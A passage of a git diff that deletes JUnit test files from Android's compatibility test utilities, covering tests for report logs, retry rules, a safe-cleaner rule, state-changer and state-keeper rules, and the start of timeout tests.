- assertEquals("Incorrect result code", RESULT_CODE, inst.mResultCode);
- assertNotNull("Bundle missing", inst.mResults);
- String metrics = inst.mResults.getString(RESULT_KEY);
- assertNotNull("Metrics missing", metrics);
- ReportLog result = ReportLog.parse(metrics);
- assertNotNull("Metrics could not be decoded", result);
- }
-
- public void testFile() throws Exception {
- assertTrue("External storage is not mounted",
- Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
- final File dir = new File(Environment.getExternalStorageDirectory(), "report-log-files");
- assertTrue("Report Log directory missing", dir.isDirectory() || dir.mkdirs());
-
- // Remove files from earlier possible runs.
- File[] files = dir.listFiles();
- for (File file : files) {
- file.delete();
- }
-
- TestInstrumentation inst = new TestInstrumentation();
-
- DeviceReportLog log1 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
- log1.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
- log1.setSummary(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
- log1.submit(inst);
-
- DeviceReportLog log2 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_2);
- log2.addValue(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
- log2.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
- log2.submit(inst);
-
- DeviceReportLog log3 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_3);
- log3.addValue(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
- log3.setSummary(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
- log3.submit(inst);
-
- DeviceReportLog log4 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_4);
- log4.addValue(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
- log4.setSummary(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
- log4.submit(inst);
-
- File jsonFile1 = new File(dir, REPORT_NAME_1 + ".reportlog.json");
- File jsonFile2 = new File(dir, REPORT_NAME_2 + ".reportlog.json");
- assertTrue("Report Log missing", jsonFile1.exists());
- assertTrue("Report Log missing", jsonFile2.exists());
-
- BufferedReader jsonReader = new BufferedReader(new FileReader(jsonFile1));
- StringBuilder metricsBuilder = new StringBuilder();
- String line;
- while ((line = jsonReader.readLine()) != null) {
- metricsBuilder.append(line);
- }
- String metrics = metricsBuilder.toString().trim();
- JSONObject jsonObject = new JSONObject(metrics);
- assertTrue("Incorrect metrics",
- jsonObject.getJSONObject(STREAM_NAME_1).getDouble(TEST_MESSAGE_1) == TEST_VALUE_1);
- assertTrue("Incorrect metrics",
- jsonObject.getJSONObject(STREAM_NAME_2).getDouble(TEST_MESSAGE_2) == TEST_VALUE_2);
-
- jsonReader = new BufferedReader(new FileReader(jsonFile2));
- metricsBuilder = new StringBuilder();
- while ((line = jsonReader.readLine()) != null) {
- metricsBuilder.append(line);
- }
- metrics = metricsBuilder.toString().trim();
- jsonObject = new JSONObject(metrics);
- assertTrue("Incorrect metrics",
- jsonObject.getJSONObject(STREAM_NAME_3).getDouble(TEST_MESSAGE_3) == TEST_VALUE_3);
- assertTrue("Incorrect metrics",
- jsonObject.getJSONObject(STREAM_NAME_4).getDouble(TEST_MESSAGE_4) == TEST_VALUE_4);
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java
deleted file mode 100644
index 644d95f..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/RetryRuleTest.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class RetryRuleTest {
-
- private final Description mDescription = Description.createSuiteDescription("Whatever");
-
- private static final RetryableException sRetryableException =
- new RetryableException("Y U NO RETRY?");
-
- private static class RetryableStatement<T extends Exception> extends Statement {
- private final int mNumberFailures;
- private int mNumberCalls;
- private final T mException;
-
- RetryableStatement(int numberFailures, T exception) {
- mNumberFailures = numberFailures;
- mException = exception;
- }
-
- @Override
- public void evaluate() throws Throwable {
- mNumberCalls++;
- if (mNumberCalls <= mNumberFailures) {
- throw mException;
- }
- }
-
- @Override
- public String toString() {
- return "RetryableStatement: failures=" + mNumberFailures + ", calls=" + mNumberCalls;
- }
- }
-
- private @Mock Statement mMockStatement;
-
- @Test
- public void testInvalidConstructor() throws Throwable {
- assertThrows(IllegalArgumentException.class, () -> new RetryRule(-1));
- }
-
- @Test
- public void testPassOnRetryableException() throws Throwable {
- final RetryRule rule = new RetryRule(1);
- rule.apply(new RetryableStatement<RetryableException>(1, sRetryableException), mDescription)
- .evaluate();
- }
-
- @Test
- public void testPassOnRetryableExceptionWithTimeout() throws Throwable {
- final Timeout timeout = new Timeout("YOUR TIME IS GONE", 1, 2, 10);
- final RetryableException exception = new RetryableException(timeout, "Y U NO?");
-
- final RetryRule rule = new RetryRule(1);
- rule.apply(new RetryableStatement<RetryableException>(1, exception), mDescription)
- .evaluate();
-
- // Assert timeout was increased
- assertThat(timeout.ms()).isEqualTo(2);
- }
-
- @Test
- public void testFailOnRetryableException() throws Throwable {
- final RetryRule rule = new RetryRule(1);
-
- final RetryableException actualException = expectThrows(RetryableException.class,
- () -> rule.apply(new RetryableStatement<RetryableException>(2, sRetryableException),
- mDescription).evaluate());
-
- assertThat(actualException).isSameAs(sRetryableException);
- }
-
- @Test
- public void testPassWhenDisabledAndStatementPass() throws Throwable {
- final RetryRule rule = new RetryRule(0);
-
- rule.apply(mMockStatement, mDescription).evaluate();
-
- verify(mMockStatement, times(1)).evaluate();
- }
-
- @Test
- public void testFailWhenDisabledAndStatementThrowsRetryableException() throws Throwable {
- final RetryableException exception = new RetryableException("Y U NO?");
- final RetryRule rule = new RetryRule(0);
- doThrow(exception).when(mMockStatement).evaluate();
-
- final RetryableException actualException = expectThrows(RetryableException.class,
- () -> rule.apply(mMockStatement, mDescription).evaluate());
-
- assertThat(actualException).isSameAs(exception);
- verify(mMockStatement, times(1)).evaluate();
- }
-
- @Test
- public void testFailWhenDisabledAndStatementThrowsNonRetryableException() throws Throwable {
- final RuntimeException exception = new RuntimeException("Y U NO?");
- final RetryRule rule = new RetryRule(0);
- doThrow(exception).when(mMockStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mMockStatement, mDescription).evaluate());
-
- assertThat(actualException).isSameAs(exception);
- verify(mMockStatement, times(1)).evaluate();
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
deleted file mode 100644
index a56d7b2..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
+++ /dev/null
@@ -1,299 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.verify;
-import static org.testng.Assert.expectThrows;
-
-import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.List;
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-public class SafeCleanerRuleTest {
-
- private static class FailureStatement extends Statement {
- private final Throwable mThrowable;
-
- FailureStatement(Throwable t) {
- mThrowable = t;
- }
-
- @Override
- public void evaluate() throws Throwable {
- throw mThrowable;
- }
- }
-
- private final Description mDescription = Description.createSuiteDescription("Whatever");
- private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
-
- @Mock private Dumper mDumper;
-
- // Use mocks for objects that don't throw any exception.
- @Mock private ThrowingRunnable mGoodGuyRunner1;
- @Mock private ThrowingRunnable mGoodGuyRunner2;
- @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
- @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
- @Mock private Statement mGoodGuyStatement;
-
- @Test
- public void testEmptyRule_testPass() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule();
- rule.apply(mGoodGuyStatement, mDescription).evaluate();
- }
-
- @Test
- public void testEmptyRule_testFails() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule();
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- }
-
- @Test
- public void testEmptyRule_testFails_withDumper() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mDumper).dump("Whatever", actualException);
- }
-
- @Test
- public void testOnlyTestFails() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .add(mGoodGuyExtraExceptions1);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyExtraExceptions1).call();
- }
-
- @Test
- public void testOnlyTestFails_withDumper() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .setDumper(mDumper)
- .run(mGoodGuyRunner1)
- .add(mGoodGuyExtraExceptions1);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyExtraExceptions1).call();
- verify(mDumper).dump("Whatever", actualException);
- }
-
- @Test
- public void testTestPass_oneRunnerFails() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .run(() -> { throw mRuntimeException; })
- .run(mGoodGuyRunner2)
- .add(mGoodGuyExtraExceptions1);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- }
-
- @Test
- public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .setDumper(mDumper)
- .run(mGoodGuyRunner1)
- .run(() -> {
- throw mRuntimeException;
- })
- .run(mGoodGuyRunner2)
- .add(mGoodGuyExtraExceptions1);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- verify(mDumper).dump("Whatever", actualException);
- }
-
- @Test
- public void testTestPass_oneExtraExceptionThrownAsCallable() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .add(mRuntimeException)
- .add(mGoodGuyExtraExceptions1)
- .run(mGoodGuyRunner2);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- }
-
- @Test
- public void testTestPass_oneExtraExceptionThrown() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .add(() -> {
- return ImmutableList.of(mRuntimeException);
- })
- .add(mGoodGuyExtraExceptions1)
- .run(mGoodGuyRunner2);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- }
-
- @Test
- public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
- final SafeCleanerRule rule = new SafeCleanerRule()
- .setDumper(mDumper)
- .run(mGoodGuyRunner1)
- .add(() -> { return ImmutableList.of(mRuntimeException); })
- .add(mGoodGuyExtraExceptions1)
- .run(mGoodGuyRunner2);
- final Throwable actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- verify(mDumper).dump("Whatever", actualException);
- }
-
- @Test
- public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
- final Exception extra1 = new Exception("1");
- final Exception extra2 = new Exception("2");
- final Exception extra3 = new Exception("3");
- final Error error1 = new Error("one");
- final Error error2 = new Error("two");
- final RuntimeException testException = new RuntimeException("TEST, Y U NO PASS?");
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .add(mGoodGuyExtraExceptions1)
- .add(mRuntimeException)
- .add(() -> {
- return ImmutableList.of(extra1, extra2);
- })
- .run(() -> {
- throw error1;
- })
- .run(mGoodGuyRunner2)
- .add(() -> {
- return ImmutableList.of(extra3);
- })
- .add(mGoodGuyExtraExceptions2)
- .run(() -> {
- throw error2;
- });
-
- final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
- SafeCleanerRule.MultipleExceptions.class,
- () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
- assertThat(actualException.getThrowables())
- .containsExactly(testException, mRuntimeException, error1, error2, extra1, extra2,
- extra3)
- .inOrder();
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- }
-
- @Test
- public void testIgnoreAssumptionViolatedException() throws Throwable {
- final AssumptionViolatedException ave = new AssumptionViolatedException(
- "tis an assumption violation");
- final RuntimeException testException = new RuntimeException("TEST, Y U NO PASS?");
- final SafeCleanerRule rule = new SafeCleanerRule()
- .run(mGoodGuyRunner1)
- .add(mRuntimeException)
- .run(() -> {
- throw ave;
- });
-
- final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
- SafeCleanerRule.MultipleExceptions.class,
- () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
- assertThat(actualException.getThrowables())
- .containsExactly(testException, mRuntimeException)
- .inOrder();
- verify(mGoodGuyRunner1).run();
- }
-
- @Test
- public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
- final Exception extra1 = new Exception("1");
- final Exception extra2 = new Exception("2");
- final Exception extra3 = new Exception("3");
- final Exception extra4 = new Exception("4");
- final Error error1 = new Error("one");
- final Error error2 = new Error("two");
- final RuntimeException testException = new RuntimeException("TEST, Y U NO PASS?");
- final SafeCleanerRule rule = new SafeCleanerRule()
- .setDumper(mDumper)
- .run(mGoodGuyRunner1)
- .add(mGoodGuyExtraExceptions1)
- .add(() -> {
- return ImmutableList.of(extra1, extra2);
- })
- .run(() -> {
- throw error1;
- })
- .run(mGoodGuyRunner2)
- .add(() -> { return ImmutableList.of(extra3); })
- .add(mGoodGuyExtraExceptions2)
- .run(() -> {
- throw error2;
- })
- .run(() -> {
- throw extra4;
- });
-
- final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
- SafeCleanerRule.MultipleExceptions.class,
- () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
- assertThat(actualException.getThrowables())
- .containsExactly(testException, error1, error2, extra4, extra1, extra2, extra3)
- .inOrder();
- verify(mGoodGuyRunner1).run();
- verify(mGoodGuyRunner2).run();
- verify(mGoodGuyExtraExceptions1).call();
- verify(mDumper).dump("Whatever", actualException);
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java
deleted file mode 100644
index 9b1851e..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateChangerRuleTest.java
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class StateChangerRuleTest {
-
- private final RuntimeException mRuntimeException = new RuntimeException("D'OH");
- private final Description mDescription = Description.createSuiteDescription("Whatever");
-
- @Mock
- private StateManager<String> mStateManager;
-
- @Mock
- private Statement mStatement;
-
- @Test
- public void testInvalidConstructor() {
- assertThrows(NullPointerException.class,
- () -> new StateChangerRule<Object>(null, "value"));
- }
-
- @Test
- public void testSetAndRestoreOnSuccess() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "newValue");
- when(mStateManager.get()).thenReturn("before", "changed");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("newValue");
- verify(mStateManager, times(1)).set("before");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testDontSetIfSameValueOnSuccess() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "sameValue");
- when(mStateManager.get()).thenReturn("sameValue");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, never()).set(anyString());
- }
-
- @Test
- public void testSetButDontRestoreIfSameValueOnSuccess() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "newValue");
- when(mStateManager.get()).thenReturn("before", "before");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("newValue");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testDontSetButRestoreIfValueChangedOnSuccess() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "sameValue");
- when(mStateManager.get()).thenReturn("sameValue", "changed");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, times(1)).set("sameValue");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testSetAndRestoreOnFailure() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "newValue");
- when(mStateManager.get()).thenReturn("before", "changed");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
-
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("newValue");
- verify(mStateManager, times(1)).set("before");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testDontSetIfSameValueOnFailure() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "sameValue");
- when(mStateManager.get()).thenReturn("sameValue");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
-
- verify(mStateManager, never()).set(anyString());
- }
-
- @Test
- public void testSetButDontRestoreIfSameValueOnFailure() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "newValue");
- when(mStateManager.get()).thenReturn("before", "before");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
-
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("newValue");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testDontSetButRestoreIfValueChangedOnFailure() throws Throwable {
- final StateChangerRule<String> rule = new StateChangerRule<>(mStateManager,
- "sameValue");
- when(mStateManager.get()).thenReturn("sameValue", "changed");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
- assertThat(actualException).isSameAs(mRuntimeException);
-
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("sameValue");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java
deleted file mode 100644
index 4599aca..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/StateKeeperRuleTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.Mockito.doThrow;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.verifyNoMoreInteractions;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import org.junit.Test;
-import org.junit.runner.Description;
-import org.junit.runner.RunWith;
-import org.junit.runners.model.Statement;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-public class StateKeeperRuleTest {
-
- private final RuntimeException mRuntimeException = new RuntimeException("D'OH");
- private final Description mDescription = Description.createSuiteDescription("Whatever");
-
- @Mock
- private StateManager<String> mStateManager;
-
- @Mock
- private Statement mStatement;
-
- @Test
- public void testInvalidConstructor() {
- assertThrows(NullPointerException.class, () -> new StateKeeperRule<Object>(null));
- }
-
- @Test
- public void testRestoreOnSuccess() throws Throwable {
- final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
- when(mStateManager.get()).thenReturn("before", "changed");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("before");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testRestoreOnFailure() throws Throwable {
- final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
- when(mStateManager.get()).thenReturn("before", "changed");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
-
- assertThat(actualException).isSameAs(mRuntimeException);
- verify(mStateManager, times(2)).get(); // Needed because of verifyNoMoreInteractions()
- verify(mStateManager, times(1)).set("before");
- verifyNoMoreInteractions(mStateManager); // Make sure set() was not called again
- }
-
- @Test
- public void testDoNotRestoreWhenNotChanged() throws Throwable {
- final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
- when(mStateManager.get()).thenReturn("not_changed");
-
- rule.apply(mStatement, mDescription).evaluate();
-
- verify(mStatement, times(1)).evaluate();
- verify(mStateManager, never()).set(anyString());
- }
-
- @Test
- public void testDoNotRestoreOnFailure() throws Throwable {
- final StateKeeperRule<String> rule = new StateKeeperRule<>(mStateManager);
- when(mStateManager.get()).thenReturn("not_changed");
- doThrow(mRuntimeException).when(mStatement).evaluate();
-
- final RuntimeException actualException = expectThrows(RuntimeException.class,
- () -> rule.apply(mStatement, mDescription).evaluate());
-
- assertThat(actualException).isSameAs(mRuntimeException);
-
- verify(mStateManager, never()).set(anyString());
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java
deleted file mode 100644
index 8992d18..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/TimeoutTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-import static org.testng.Assert.expectThrows;
-
-import android.os.SystemClock;
-
-import com.android.compatibility.common.util.Timeout.Sleeper;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.Mock;
-import org.mockito.junit.MockitoJUnitRunner;
-
-import java.util.concurrent.Callable;
-
-@RunWith(MockitoJUnitRunner.class)
-public class TimeoutTest {
-
- private static final String NAME = "TIME, Y U NO OUT?";
- private static final String DESC = "something";
-
- @Mock
- private Callable<Object> mJob;
-
- private final MySleeper mSleeper = new MySleeper();
-
- @Test
- public void testInvalidConstructor() {
- // Invalid name
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(null, 1, 2, 2));
- assertThrows(IllegalArgumentException.class, ()-> new Timeout("", 1, 2, 2));
- // Invalid initial value
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, -1, 2, 2));
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 0, 2, 2));
- // Invalid multiplier
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, -1, 2));
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 0, 2));
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 1, 2));
- // Invalid max value
- assertThrows(IllegalArgumentException.class, ()-> new Timeout(NAME, 1, 2, -1));
